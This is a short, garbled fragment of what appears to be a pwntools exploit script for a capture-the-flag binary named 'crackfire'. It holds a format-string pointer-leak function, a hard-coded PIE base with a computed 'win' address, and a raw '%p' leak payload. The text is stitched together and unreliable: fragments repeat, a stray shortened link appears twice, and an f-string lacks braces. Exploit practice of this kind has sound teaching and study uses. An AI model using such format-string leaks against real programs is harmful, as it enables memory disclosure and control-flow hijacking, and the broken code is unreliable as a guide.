# ---------------------------------------------------------------- def leak_address(p, fmt): """Send a format string and return the first leaked pointer.""" p.sendlineafter(b"Enter the secret code:", fmt.encode()) p.recvuntil(b"Enter the secret code:\n") leak = p.recvline().strip() # The leak may contain spaces; take first token addr = int(leak.split()[0], 16) log.success(f"Leaked: hex(addr)") return addr
# ---------------------------------------------------------------------- # 1. Get the binary base (leak step) – omitted here; we just hard‑code. # ---------------------------------------------------------------------- base = 0x555555554000 win = base + 0x12f0 # offset found with readelf -s https- bit.ly crackfire
crackfire crackfire.c (source – optional, not always present) Make the binary executable: take first token addr = int(leak.split()[0]
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p Output (truncated): https- bit.ly crackfire